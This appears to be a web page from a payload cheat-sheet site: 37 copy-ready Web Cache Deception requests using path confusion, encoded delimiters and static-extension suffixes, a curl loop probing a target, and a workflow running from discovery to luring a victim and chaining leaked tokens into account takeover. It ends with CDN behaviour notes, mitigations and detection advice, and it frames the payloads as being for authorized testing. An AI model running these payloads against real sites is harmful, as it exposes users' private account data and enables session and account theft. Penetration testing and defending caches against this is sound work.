Path confusion, delimiter tricks, and static-extension abuse for finding and exploiting Web Cache Deception (WCD) during authorized testing — plus a full discovery-to-exploitation workflow. (37 payloads)
GET /my-account/foo.css HTTP/1.1GET /api/users/self/profile.js HTTP/1.1GET /account/settings.jpg HTTP/1.1GET /account/avatar.css.jpg HTTP/1.1GET /account/.css HTTP/1.1GET /robots.txt/../my-account HTTP/1.1GET /my-account;foo.css HTTP/1.1GET /my-account%3Bfoo.css HTTP/1.1GET /my-account%23foo.css HTTP/1.1GET /my-account%3Ffoo.css HTTP/1.1GET /my-account%2ffoo.css HTTP/1.1GET /my-account%00.css HTTP/1.1 / /my-account%0a.cssGET /my-account/%2e%2e/static/foo.css HTTP/1.1GET /my-account/cb-uniq1234.css HTTP/1.1X-Cache: HIT | CF-Cache-Status: HIT | Age: 42Cache-Control: no-store / Pragma: no-cacheGET /my-account/foo.css HTTP/1.1
Cookie: session=VICTIMGET /static/legit.css HTTP/1.1 → inspect Cache-Control / s-maxagefor e in css js png ico svg woff2 json txt pdf; do curl -s -o /dev/null -w "%{http_code} $e\n" "https://target/my-account/x.$e"; done1. Find a dynamic, authenticated, per-user page (/my-account, /api/me, /settings, dashboards, reset/verify links).2. Append/confuse with a static suffix and prove origin still serves the dynamic body.3. Confirm the response is stored: same request twice, watch MISS→HIT and rising Age.4. Read it back with NO authentication and capture the leaked data.5. Deliver: lure the victim to /victim-page/<random>.css, then race the cache TTL.6. Escalate: chain a leaked CSRF/session/reset token into account takeover.Cloudflare: caches by extension regardless of Cache-Control (default static-asset list).Akamai: caches by path/extension via rules; ;matrix and %2f handling differ from origin.Origin: Spring/Tomcat strip ;jsessionid and matrix params → /my-account;foo.css = /my-account.Origin: many frameworks ignore trailing path segments → /my-account/foo.css = /my-account.Vary header: a narrow/absent Vary widens the deception blast radius.TTL & purge: short s-maxage shrinks the window; check Age vs s-maxage.Cache-Control: no-store, private on every authenticated/dynamic response.Configure the CDN to cache ONLY by content-type / explicit allowlist, not by extension.Make cache and origin agree on URL normalization (slash, semicolon, dot, %xx).Reject requests where the extension's content-type ≠ the response content-type.Detection: alert on cache HITs for paths under authenticated route prefixes.Strip/normalize trailing path segments and matrix params at the edge before routing.Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 37 Cache Deception payloads for testing Web Cache Deception vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the HTTP Header Analyzer to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Cache Deception payloads are completely free, with no account required. Everything runs in your browser.